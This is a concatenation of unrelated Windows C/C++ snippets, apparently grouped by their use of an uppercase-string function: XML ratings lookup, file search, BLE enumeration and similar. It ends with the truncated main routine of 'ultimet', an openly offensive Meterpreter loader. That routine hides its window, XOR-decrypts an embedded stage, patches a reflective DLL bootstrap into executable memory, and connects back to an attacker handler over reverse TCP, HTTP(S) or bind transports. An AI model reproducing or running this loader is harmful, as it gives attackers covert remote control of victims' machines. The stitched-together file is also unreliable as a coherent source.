//-------------------------------------------------------------------------------------- HRESULT CRatingsDB::GetDescriptorName( WCHAR* strRatingSystemGUID, WCHAR* strDescriptorGUID, WCHAR* strDest, int cchDest ) { wcscpy_s( strDest, cchDest, strDescriptorGUID ); WCHAR strRatingSystemGUIDUpper[512]; wcscpy_s( strRatingSystemGUIDUpper, 512, strRatingSystemGUID ); _wcsupr_s( strRatingSystemGUIDUpper ); WCHAR strDescriptorGUIDUpper[512]; wcscpy_s( strDescriptorGUIDUpper, 512, strDescriptorGUID ); _wcsupr_s( strDescriptorGUIDUpper ); HRESULT hr; IXMLDOMNode* pRatingSystemNode = nullptr; WCHAR str[512]; swprintf_s( str, 512, L"//Ratings/RatingSystem[@ID='%s']", strRatingSystemGUIDUpper ); hr = m_pRootNode->selectSingleNode( str, &pRatingSystemNode ); if( SUCCEEDED(hr) && pRatingSystemNode ) { IXMLDOMNode* pRatingIDNode = nullptr; swprintf_s( str, 512, L"Descriptor[@ID='%s']", strDescriptorGUIDUpper ); hr = pRatingSystemNode->selectSingleNode( str, &pRatingIDNode ); if( SUCCEEDED(hr) && pRatingIDNode ) { hr = GetAttribFromNode( pRatingIDNode, L"Text", strDest, cchDest ); SAFE_RELEASE( pRatingIDNode ); } SAFE_RELEASE( pRatingSystemNode ); } return hr; }
bool CCommonFunc::SearchFile(wchar_t* strDir, wchar_t* strExt,FileNameSet& Set) { Set.iItemNum = 0; WIN32_FIND_DATA FindFileData; //int iFileNum = 0; HANDLE hFind; wchar_t strSearchPath[256]; SafeWStringPrintf(strSearchPath, _countof(strSearchPath), L"%s\\*.*", strDir); hFind = ::FindFirstFileW(strSearchPath,(LPWIN32_FIND_DATAW)&FindFileData); wchar_t strUppExt[20]; wcscpy_s(strUppExt,_countof(strUppExt), strExt); _wcsupr_s(strUppExt, _countof(strUppExt)); if (hFind != INVALID_HANDLE_VALUE) { do { if((FindFileData.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) { size_t iLength = wcslen((wchar_t*)FindFileData.cFileName); //wsprintfW(Set.Items[Set.iItemNum], FindFileData.cFileName); StringCchCopyW(Set.Items[Set.iItemNum], _countof(Set.Items[Set.iItemNum]), FindFileData.cFileName); if(iLength > 1) { int lastLen = 0; wchar_t* pEndChar = (wchar_t*)FindFileData.cFileName + iLength; while(*pEndChar != L'.') { pEndChar--; lastLen++; } pEndChar++; _wcsupr_s(pEndChar, lastLen); if(wcscmp(pEndChar, strUppExt) == 0) { Set.iItemNum++; if(Set.iItemNum >= Set.MAX_ITEM_NUM) { break; } } } } } while(FindNextFile(hFind, &FindFileData)); FindClose(hFind); } return (Set.iItemNum != 0); }
int ISISandBoxSetRedirectPath(const wchar_t *aRedirectPath) { int errCode = ERROR_SUCCESS; HANDLE driverPort = NULL; __try { if (!aRedirectPath) { errCode = ERROR_INVALID_PARAMETER; __leave; } if (wcslen(aRedirectPath) > 260) { errCode = ERROR_BAD_LENGTH; __leave; } // 测试连接 HRESULT ret = FilterConnectCommunicationPort(ISISandBoxPortName, 0, NULL, 0, NULL, &driverPort); if (IS_ERROR(ret)) { errCode = ERROR_NOT_CONNECTED; __leave; } MESSAGE_REDIRECT_PATH_SEND message; message.Message.MessageType = MESSAGE_INSERT_REDIRECT_PATH; wcscpy_s(message.Message.RedirectPath, 260, aRedirectPath); _wcsupr_s(message.Message.RedirectPath, 260); // 在用户态强制改为大写 message.Message.Length = (ULONG)wcslen(aRedirectPath); DWORD replyLength = 0; MESSAGE_REPLY reply; ret = FilterSendMessage(driverPort, (PFILTER_MESSAGE_HEADER)&message, sizeof(MESSAGE_PROTECT_PATH_SEND), (PVOID)&reply, sizeof(MESSAGE_REPLY), &replyLength); if (ret != S_OK) { errCode = GetLastError(); __leave; } if (reply.MessageType != MESSAGE_INSERT_REDIRECT_PATH && reply.status != 0) { errCode = ERROR_NOT_SUPPORTED; __leave; } } __finally { CloseHandle(driverPort); driverPort = NULL; } return errCode; }
//------------------------------------------------------------ //描述:目录中的文件数 int CCommonFunc::FileNumInDir(wchar_t* strDir, wchar_t* strExt) { WIN32_FIND_DATA FindFileData; int iFileNum = 0; HANDLE hFind; wchar_t strSearchPath[256]; SafeWStringPrintf(strSearchPath, _countof(strSearchPath), L"%s\\*.*", strDir); hFind = ::FindFirstFileW(strSearchPath,(LPWIN32_FIND_DATAW)&FindFileData); wchar_t strUppExt[20]; wcscpy_s(strUppExt,_countof(strUppExt), strExt); _wcsupr_s(strUppExt, _countof(strUppExt)); if (hFind != INVALID_HANDLE_VALUE) { do { if((FindFileData.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) { size_t iLength = wcslen((wchar_t*)FindFileData.cFileName); if(iLength > 1) { int lastLen = 0; wchar_t* pEndChar = (wchar_t*)FindFileData.cFileName + iLength; while(*pEndChar != L'.') { pEndChar--; lastLen++; } pEndChar++; _wcsupr_s(pEndChar, lastLen); if(wcscmp(pEndChar, strUppExt) == 0) { iFileNum++; } } } } while(FindNextFile(hFind, &FindFileData)); FindClose(hFind); } return iFileNum; }
/********************************************************************************************************************** NStringUtils::To_Upper_Case - converts a wide string to uppercase characters source -- source wide string dest -- output parameter to store conversion in **********************************************************************************************************************/ void NStringUtils::To_Upper_Case( const std::wstring &source, std::wstring &dest ) { size_t buffer_size = source.size() + 1; wchar_t *buffer = new wchar_t[ buffer_size ]; wcscpy_s( buffer, buffer_size, source.c_str() ); _wcsupr_s( buffer, buffer_size ); dest = std::wstring( buffer ); delete buffer; }
wchar_t* wcsustr(wchar_t *source, wchar_t *s) { //make an uppercase copy af source and s wchar_t *csource = _wcsdup(source); wchar_t *cs = _wcsdup(s); _wcsupr_s(csource,wcslen(source)); _wcsupr_s(cs,wcslen(s)); //find cs in csource... wchar_t *result = wcsstr(csource, cs); if (result != NULL) { //cs is somewhere in csource int pos = result - csource; result = source; result += pos; } //clean up free(csource); free(cs); return result; }
// CDeviceSelect message handlers BOOL CDeviceSelect::OnInitDialog() { CDialogEx::OnInitDialog(); HDEVINFO hardwareDeviceInfo; PSP_DEVICE_INTERFACE_DETAIL_DATA deviceInterfaceDetailData = NULL; ULONG predictedLength = 0; ULONG requiredLength = 0, bytes=0; WCHAR szBda[13] = {0}; HANDLE hDevice = INVALID_HANDLE_VALUE; // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon m_numDevices = 0; if ((hardwareDeviceInfo = SetupDiGetClassDevs (NULL, NULL, NULL, DIGCF_ALLCLASSES | DIGCF_PRESENT)) != INVALID_HANDLE_VALUE) { SP_DEVINFO_DATA DeviceInfoData; memset(&DeviceInfoData, 0, sizeof(DeviceInfoData)); DeviceInfoData.cbSize = sizeof(DeviceInfoData); WCHAR szService[80]; GUID guid; if (m_bWin8) guid = GUID_LONG_CHAR_SERVICE; else { guid.Data1 = (GUID_LONG_CHAR_SERVICE.Data4[4] ) + (GUID_LONG_CHAR_SERVICE.Data4[5] << 8) + (GUID_LONG_CHAR_SERVICE.Data4[6] << 16) + (GUID_LONG_CHAR_SERVICE.Data4[7] << 24); guid.Data2 = (GUID_LONG_CHAR_SERVICE.Data4[2] ) + (GUID_LONG_CHAR_SERVICE.Data4[3] << 8); guid.Data3 = (GUID_LONG_CHAR_SERVICE.Data4[0] ) + (GUID_LONG_CHAR_SERVICE.Data4[1] << 8); guid.Data4[0] = (GUID_LONG_CHAR_SERVICE.Data3 ) & 0xff; guid.Data4[1] = (GUID_LONG_CHAR_SERVICE.Data3 >> 8 ) & 0xff; guid.Data4[2] = (GUID_LONG_CHAR_SERVICE.Data2 ) & 0xff; guid.Data4[3] = (GUID_LONG_CHAR_SERVICE.Data2 >> 8 ) & 0xff; guid.Data4[4] = (GUID_LONG_CHAR_SERVICE.Data1 ) & 0xff; guid.Data4[5] = (GUID_LONG_CHAR_SERVICE.Data1 >> 8 ) & 0xff; guid.Data4[6] = (GUID_LONG_CHAR_SERVICE.Data1 >> 16) & 0xff; guid.Data4[7] = (GUID_LONG_CHAR_SERVICE.Data1 >> 24) & 0xff; } UuidToString(szService, 80, &guid); ods ("%S\n", szService); for (DWORD n = 0; SetupDiEnumDeviceInfo(hardwareDeviceInfo, n, &DeviceInfoData); n++) { DWORD dwBytes = 0; SetupDiGetDeviceInstanceId(hardwareDeviceInfo, &DeviceInfoData, NULL, 0, &dwBytes); PWSTR szInstanceId = new WCHAR [dwBytes]; if (szInstanceId) { if (SetupDiGetDeviceInstanceId(hardwareDeviceInfo, &DeviceInfoData, szInstanceId, dwBytes, &dwBytes)) { _wcsupr_s (szInstanceId, dwBytes); // if (wcsstr(szInstanceId, L"BTHENUM")) // { // OutputDebugStringW(szInstanceId); // OutputDebugStringW(L"\n"); if (wcsstr(szInstanceId, szService)) { OutputDebugStringW(szInstanceId); WCHAR buf[13]; wchar_t* pStart; wchar_t* pEnd; if (m_bWin8) { pStart = wcsrchr(szInstanceId, '_'); pEnd = wcsrchr(szInstanceId, '\\'); } else { pStart = wcsrchr(szInstanceId, '&'); pEnd = wcsrchr(szInstanceId, '_'); } if (pStart && pEnd) { *pEnd = 0; wcscpy_s(buf, pStart + 1); m_lbDevices.AddString(buf); m_numDevices++; } // } } } delete[] szInstanceId; } } SetupDiDestroyDeviceInfoList(hardwareDeviceInfo); }
HANDLE OpenBleService(BLUETOOTH_ADDRESS *btha, GUID *guid) { HDEVINFO hardwareDeviceInfo; SP_DEVICE_INTERFACE_DATA deviceInterfaceData; PSP_DEVICE_INTERFACE_DETAIL_DATA deviceInterfaceDetailData = NULL; ULONG predictedLength = 0; ULONG requiredLength = 0, bytes=0; WCHAR szBda[13] = {0}; HANDLE hService = INVALID_HANDLE_VALUE; DWORD err; if ((hardwareDeviceInfo = SetupDiGetClassDevs ((LPGUID)guid, NULL, NULL, (DIGCF_PRESENT | DIGCF_DEVICEINTERFACE))) == INVALID_HANDLE_VALUE) { ods("OpenBleServiceSetupDiGetClassDevs failed: %x\n", GetLastError()); return hService; } deviceInterfaceData.cbSize = sizeof (SP_DEVICE_INTERFACE_DATA); // Enumerate devices of LE_DEVICE interface class for (int i = 0; ; i++) { if (!SetupDiEnumDeviceInterfaces (hardwareDeviceInfo, 0, guid, i, &deviceInterfaceData)) { if ((err = GetLastError()) == ERROR_NO_MORE_ITEMS) ods("OpenBleService device not found\n"); else ods ("OpenBleService:ERROR SetupDiEnumDeviceInterfaces failed:%d\n", err); break; } SetupDiGetDeviceInterfaceDetail (hardwareDeviceInfo, &deviceInterfaceData, NULL, 0, &requiredLength, NULL); if ((err = GetLastError()) != ERROR_INSUFFICIENT_BUFFER) { ods("OpenBleService:ERROR SetupDiGetDeviceInterfaceDetail failed %d\n", err); break; } predictedLength = requiredLength; deviceInterfaceDetailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA) new CHAR[predictedLength + 2]; if (deviceInterfaceDetailData == NULL) { ods("OpenBleService:ERROR Couldn't allocate %d bytes for device interface details.\n", predictedLength); break; } RtlZeroMemory (deviceInterfaceDetailData, predictedLength + 2); deviceInterfaceDetailData->cbSize = sizeof (SP_DEVICE_INTERFACE_DETAIL_DATA); if (!SetupDiGetDeviceInterfaceDetail (hardwareDeviceInfo, &deviceInterfaceData, deviceInterfaceDetailData, predictedLength, &requiredLength, NULL)) { ods("OpenBleService :ERROR SetupDiGetDeviceInterfaceDetail\n"); delete deviceInterfaceDetailData; break; } _wcsupr_s (deviceInterfaceDetailData->DevicePath, wcslen(deviceInterfaceDetailData->DevicePath) + 1); BdaToString (szBda, btha); if (wcsstr (deviceInterfaceDetailData->DevicePath, szBda) != NULL) { ods("OpenBleService Opening interface:%S\n", deviceInterfaceDetailData->DevicePath); hService = CreateFile ( deviceInterfaceDetailData->DevicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hService == INVALID_HANDLE_VALUE) ods("OpenBleService (hService == INVALID_HANDLE_VALUE) GetLastError() = %d\n", GetLastError()); delete deviceInterfaceDetailData; break; } delete deviceInterfaceDetailData; } SetupDiDestroyDeviceInfoList (hardwareDeviceInfo); return hService; }
int wmain(int argc, wchar_t *argv[]) { PAYLOAD_SETTINGS payload_settings = {0}; // That's defined at main.h unsigned char* buffer = nullptr; // This will hold the loaded stage unsigned char* TempBuffer = nullptr; // This will have stuff set-up "like the socket", then the stage will be copied over. DWORD bufferSize = 0; // buffer length DWORD StageSize = 0; // if we're using encryption ... stage size = (bufferSize - 16) DWORD index = 0; // will be used to locate offset of stuff to be patched "transport, the url ... etc." char EncKey[17] = {0}; // XOR Encryption key void (*function)() = nullptr; // The casted-to-be-function after we have everything in place. bool FallbackToStager = false; // If the stage is not bundled in the exe as a resource, or "-f" is not specified, ultimet falls back to work as a stager: if this is true, metsvc will not be availabe. bool metsvc = false; // Is metsvc chosen as the transport? this will only work if we have the stage upfront, otherwise it will fail. bool bBind = false; // Are we bind payload?. bool MSFPAYLOAD = false; // Create a msfpayload-like exe instead of executing? int err = 0; // Errors wchar_t UNICODEtransport_2[64] = {0}; // Sorry, I'm out of variable names ... //If we will get options from resource wchar_t UNICODEtransport[64] = {0}; wchar_t UNICODElhost[128] = {0}; wchar_t UNICODElport[32] = {0}; char ANSItransport[64] = {0}; char ANSIlhost[128] = {0}; char ANSIlport[32] = {0}; //If "-f" is specified (load stage from local file) wchar_t StageFilePath[MAX_PATH] = {0}; // If the stage is going to be loaded from a dll file from the filesystem, path will be put here. // reverse_metsvc specific Variables SOCKET ConnectSocket = INVALID_SOCKET; // Socket ... will be used for reverse_metsvc and reverse_tcp // HTTP(S) Specific Variables char url[512] = {0}; //Full URL, 512 bytes are enough. /************* Program Start **************/ //This will be used later for deciding if we can get options from resource... BOOL validTransport = false; if(GetOptionsFromResource(UNICODEtransport,UNICODElhost,UNICODElport)) // validTransport = IsThisAValidTransport(UNICODEtransport); ///////////////////////////////// Parsing from command line /////////////////////////////////// if(argc>1) //Parsing options from resource failed, let's parse options from command line { print_header(); // as it sounds... // Is `--reset` been given as the first argument? // if yes, we'll copy ourselfs to a file called `ultimet_reset.exe`, then update the options resource to its default if(wcscmp(argv[1],L"--reset") == 0) { dprintf(L"[*] Creating a `clean` ultimet copy with all options reset to default ... \n"); CopyFile(argv[0],L"ultimet_reset.exe",FALSE); ResourceOptionsReset(); exit(1); } // Is `--remove-stage` been given as the first argument? // if yes, we'll copy ourselfs to a file called `ultimet_lite.exe`, then update the remove resource that contains the stage. if(wcscmp(argv[1],L"--remove-stage") == 0) { dprintf(L"[*] Creating a new file with stage removed... \n"); CopyFile(argv[0],L"ultimet_no_stage.exe",FALSE); RemoveStage(); exit(1); } // Parse command line arguments, Fill the PAYLOAD_SETTINGS struct et'all... idea from "http://www.cplusplus.com/forum/articles/13355/" for (int i = 1; i < argc; i++) { if (i != argc) // Check that we haven't finished parsing already if (wcscmp(argv[i], L"-t") == 0) { //Transport; available options are reverse_tcp, reverse_metsvc, REVERSE_HTTP, REVERSE_HTTPS ... case doesn't matter. payload_settings.TRANSPORT = argv[i + 1]; _wcsupr(payload_settings.TRANSPORT); // Wide-String-to-uppercase wcscpy(UNICODEtransport_2,payload_settings.TRANSPORT); //we will use UNICODEtransport_2 if we've been asked to do msfpayload if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; } else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; metsvc = true; } else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP"; } else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS"; } else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; bBind = true; } else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; metsvc = true; bBind = true; } else { dprintf(L"[-] Unknown transport: \"%s\"\n[-] Valid transports are reverse_tcp, reverse_metsvc, reverse_http,", payload_settings.TRANSPORT); dprintf(L"\n reverse_https, bind_tcp and bind_metsvc.\n"); exit(1); } // End of Transport checks } else if (wcscmp(argv[i], L"-h") == 0) { //LHOST payload_settings.LHOST = argv[i + 1]; } else if (wcscmp(argv[i], L"-p") == 0) { //LPORT payload_settings.LPORT = argv[i + 1]; } else if (wcscmp(argv[i], L"-ct") == 0) { //SessionCommunicationTimeout in seconds - 300 by default payload_settings.comm_timeout = _wtoi(argv[i + 1]); } else if (wcscmp(argv[i], L"-et") == 0) { //SessionExpirationTimeout in seconds - 604800 by default payload_settings.expiration_timeout = _wtoi(argv[i + 1]); } else if (wcscmp(argv[i], L"-ua") == 0) { //USER_AGENT payload_settings.USER_AGENT = argv[i + 1]; } else if (wcscmp(argv[i], L"-f") == 0) { //Should we load the stage from a file rather than from the resource? wcscpy_s(StageFilePath,argv[i + 1]); } else if (wcscmp(argv[i], L"--help") == 0) { //Print usage and quit print_header(); usage(); exit(1); } else if (wcscmp(argv[i], L"--msfpayload") == 0) { //are we going to mimic msfpayload? MSFPAYLOAD = true; } } //Do we have the minimum parameters? if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL) { dprintf(L"[-] Not enough parameters! \n\n"); usage(); exit(1); } else validTransport = false; // This is a bit confusing, but works: if we have the minimum info to get started, we will set validTransport to false so we will not start parsing options from resource. //////////////////////// start of msfpayload ////////////////////////////// if(MSFPAYLOAD) // We will create a new exe with specified options, then exit { dprintf(L"[*] Switching to MSFPAYLOAD mode, parsing options ... \n"); dprintf(L"\tTRANSPORT\t:\t%s\n",UNICODEtransport_2); dprintf(L"\tLHOST\t\t:\t%s\n",payload_settings.LHOST); dprintf(L"\tLPORT\t\t:\t%s\n",payload_settings.LPORT); UnicodeToAnsi(ANSItransport, UNICODEtransport_2); UnicodeToAnsi(ANSIlhost, payload_settings.LHOST); UnicodeToAnsi(ANSIlport, payload_settings.LPORT); msfpayload(ANSItransport, ANSIlhost, ANSIlport); //msfpayload will exit ... } ///////////////////////////////// Parsing from resource /////////////////////////////////// /* Will try to parse options from resource, this can fail in two ways: one: if we couldn't read from resource two: we read options from resource correctly, however, the smarty-pants who put the configuration did not set a valid transport So, we'll check for any of those two errors, if any of them failed, we'll proceed to other options to get the parameters from. */ } else if(validTransport) //if true means that TRNSPORT, LHOST & LPORT are retrieved successfully from the resource AND the retrieved transport is a valid one. { Stealth(); // hide window :) payload_settings.TRANSPORT = UNICODEtransport; payload_settings.LHOST = UNICODElhost; payload_settings.LPORT = UNICODElport; //Start of TRANSPORT Checks and adjustments _wcsupr_s(payload_settings.TRANSPORT, wcslen(payload_settings.TRANSPORT) * sizeof(wchar_t)); // Wide-String-to-uppercase if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; } else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; metsvc = true; } else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP"; } else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS"; } else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; bBind = true; } else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0) { payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; metsvc = true; bBind = true; } } // check... if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL) { dprintf(L"[-] Not enough parameters! \n\n"); print_header(); usage(); exit(1); } //Have we been asked to load the stage from a file? if(wcscmp(StageFilePath, L"") != 0) { dprintf(L"[*] Loading stage into memory from file \"%s\"\n", StageFilePath); bufferSize = CopyStageToBuffer(StageFilePath, &buffer); } else { // If not, We'll try to load the stage from the resource ... // Read resource into buffer ... dprintf(L"[*] Loading stage into memory from resource...\n"); bufferSize = ResourceToBuffer(101, (LPCTSTR)L"BINARY", &buffer); //copy encrypted stage from resource to buffer if (bufferSize == 0) // if something went wrong... { FallbackToStager = true; // We will function in "stager" mode. if(metsvc) // Ok, we will fallback to stager mode, however, metsvc will not be available in stager mode ... right? { dprintf(L"\n[-] Unable to load stage from resource, and \"-f\" not specified ... yet you've chosen metsvc!\n"); dprintf(L" sorry sweetheart, that's not going to work, metsvc *requires* that the stage is available upfront.\n"); dprintf(L"[-] ... will exit.\n"); exit(1); } else { dprintf(L"[!] Couldn't read stage from resource & \"-f\" not speified; falling back to \"stager\" mode...\n"); } } } /*/////////////////////////// ///////////////////////////// Warning! Program split ahead! ///////////////////////////// ///////////////////////////// At this given point, we know where the stage is going to be loaded from, either from resource (default), file or from the multi/handler, which will be handled differently. ======== Wrapping up what happened so far: if(-f specified) load_stager_from_file else load_stage_from_resource --- buffer == stage?; if (failed?) set FallbackToStager = true; if(FallbackToStager){ Act as a "regular" stand-alone meterpreter exe; populate buffer, if(tcp) adjust buffer usng ASM voodoo; } else { buffer already has the stage, decrypt it, patch it, do your stuff (socket, url building ..etc.) } now buffer == stage!! ((void (*)())buffer)(); _____________________ Ready? let's do it... */ if(FallbackToStager) //--------- Start of "working as a stager" ------------// { if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0) //bind_tcp & reverse_tcp have same transport. { if(bBind) /* bind_tcp */ StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT); else StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT); } else { StagerReverseHTTP(payload_settings.LHOST,payload_settings.LPORT,payload_settings.TRANSPORT); } } //--------- End of "working as a stager" ------------// else //This is where "working as an inline stand-alone exe" stuff starts... { //Is the stage encrypted? if(memcmp(&buffer[0],"MZ",2)) { dprintf(L"[!] Looks like loaded stage is encrypted, Locating Encryption key...\n"); GetKeyFromBuffer(buffer, EncKey, 16); printf("[*] \"%s\" will be used; decrypting...\n", EncKey); XORcrypt(buffer, EncKey, bufferSize); if(memcmp(&buffer[16],"MZ",2)) { dprintf(L"[-] Something went really wrong: bad resource, wrong encryption key, or maybe something else ... will exit!\n"); exit(1); } dprintf(L"[*] Looks like stage decrypted correctly, proceeding to patching stage...\n"); buffer = buffer + 16; StageSize = bufferSize - 16; } else { dprintf(L"[*] Looks like loaded stage is a regular DLL, proceeding to patching stage..\n"); StageSize = bufferSize; } ///////////////////////////////////////// /**************************************** * Patching Stage in memory. * ****************************************/ ///////////////////////////////////////// // Patching transport index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_transport, (int)strlen(global_meterpreter_transport)); if (index == 0) // if the transport is not found ... { dprintf(L"[-] Couldn't locate transport string, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); exit(1); } dprintf(L"[*] Patching transport: Offset 0x%08x -> \"%s\"\n", index, payload_settings.TRANSPORT ); PatchString(buffer, payload_settings.TRANSPORT, index, wcslen(payload_settings.TRANSPORT)); // Patching ReflectiveDLL bootstrap <- by Anwar ... thanks Anwar! index = 0; //rewind DWORD Address = ReflectiveLoaderOffset((DWORD)buffer)-7; dprintf(L"[*] Patching ReflectiveDll Bootstrap: \"MZ\" Offset 0x%08x\n", index); unsigned char AddressChar[4]; memcpy((void*)&AddressChar, (void*)(unsigned char*)&Address,4); // What the !$#% ... will discuss with anwar those casted-casts... memcpy(ReflectiveDllBootStrap + 15, (void*)AddressChar, 4); //for ( unsigned int i=0; i<sizeof(ReflectiveDllBootStrap); i++) { printf("%x ",(unsigned char)ReflectiveDllBootStrap[i]); } memcpy(buffer, ReflectiveDllBootStrap, 62);//overwrite dos header with the ReflectiveDll bootstrap ////////////////////////////////////////// // Stuff needed for HTTP/HTTPS only!! // ////////////////////////////////////////// if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0)) { //Patching UserAgent index = 0; //rewind. index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_ua, (int)strlen(global_meterpreter_ua)); if (index == 0) // if the UA is not found ... { dprintf(L"[-] Couldn't locate UA string, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); exit(1); } if(payload_settings.USER_AGENT == NULL) { dprintf(L"[!] No UserAgent specified, using default one ...\n"); payload_settings.USER_AGENT = L"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0\x00"; } dprintf(L"[*] Patching UA: Offset 0x%08x -> \"%s\"\n", index, payload_settings.USER_AGENT); PatchString(buffer, payload_settings.USER_AGENT, index, wcslen(payload_settings.USER_AGENT)); //Patching global expiration timeout. index = 0; //rewind index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x61\xe6\x4b\xb6", 4); //int *global_expiration_timeout = 0xb64be661; little endian, metsrv.dll if (index == 0) // if the global_expiration_timeout is not found ... { dprintf(L"[-] Couldn't locate global_expiration_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); exit(1); } if(payload_settings.expiration_timeout == NULL) { dprintf(L"[!] No expiration_timeout specified, using 60400 seconds ...\n"); payload_settings.expiration_timeout = 60400; } dprintf(L"[*] Patching global_expiration_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.expiration_timeout); memcpy(&buffer[index], &payload_settings.expiration_timeout, 4); //Patching global_comm_timeout. index = 0; //rewind index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x7f\x25\x79\xaf", 4); //int *global_comm_timeout = 0xaf79257f; little endian, metsrv.dll if (index == 0) // if the global_expiration_timeout is not found ... { dprintf(L"[-] Couldn't locate global_comm_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); exit(1); } if(payload_settings.comm_timeout == NULL) { dprintf(L"[!] No comm_timeout specified, using 300 seconds ...\n"); payload_settings.comm_timeout = 300; } dprintf(L"[*] Patching global_comm_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.comm_timeout); memcpy(&buffer[index], &payload_settings.comm_timeout, 4); } /* * Preparing connection... */ // Are we reverse_metsvc? if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && !bBind) //Transport SSL, but not bind. { if(!metsvc) //Are we METERPRETER_TRANSPORT_SSL but not metsvc? note that reverse_tcp AND reverse_metsvc use the same transport, it's the exploit/multi/handler that will make the difference. { // If we reached this far, it means that the stage is loaded, transport is SSL, yet metsvc is still false "not chosen", even though we have the stage // That means stage will be loaded AGAIN over network, next time, they should chose reverse_metsvc. // However, The customer is always right, right? let's connect them to their beloved reverse_tcp in stager mode nevertheless. // ... but we have to tell them what they've done wrong. dprintf(L"\n[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.\n" L" next time use \"-t reverse_metsvc\" -> \"exploit/multi/handler/windows/metsvc_reverse_tcp\".\n" L" - anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...\n\n"); dprintf(L"[*] Make sure you have \"windows/meterpreter/reverse_tcp\" handler running.\n\n"); // Let's just fallback to stager mode ... you foolish noisy bandwidth wasters. StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT); // see you on the other side :) } // we are METERPRETER_TRANSPORT_SSL, we have the stage, and metsvc is true :) // Adjusting buffer .. this is important! // reverse_metsvc has extra requirements ... the stage needs to be preceeded with `0xBF + 4 bytes of a valid socket connected to the handler` // My approach to acheive this: We'll first VirtualAlloc size + 5 bytes to another buffer "TempBuffer", skip 5 bytes, then copy the contents // of "buffer" over, then point buffer to that new TempBuffer ... then take it from there. TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(TempBuffer + 5, buffer, StageSize); //skiping first five bytes, then copying buffer contents ... buffer = TempBuffer; //Got it? I'm sure there's a better way to do that, but I'm not smart enough to figure out how yet :). ////////////////////////////////////////////////// if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_reverse_tcp\" handler running.\n\n"); ConnectSocket = get_socket(payload_settings.LHOST,payload_settings.LPORT); if (ConnectSocket == INVALID_SOCKET) { dprintf(L"[-] Failed to connect ... will exit!\n"); exit(1); } dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer); buffer[0] = 0xBF; dprintf(L"[*] Copying the socket address to the next 4 bytes...\n"); memcpy(buffer+1, &ConnectSocket, 4); } // Are we bind?? else if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && bBind) // I know we could've merged this with the previous code block, but that's clearer. { if(!metsvc) { dprintf(L"\n[!] We already have the stage, why did you chose bind_tcp? you could've picked bind_metsvc.\n" L" next time use \"-t bind_metsvc\" -> \"exploit/multi/handler/windows/metsvc_bind_tcp\".\n" L" - anyway, will assume you know what you're doing and connect to bind_tcp in *stager* mode...\n\n"); dprintf(L"[*] Make sure you have \"windows/meterpreter_bind_tcp\" handler running.\n\n"); 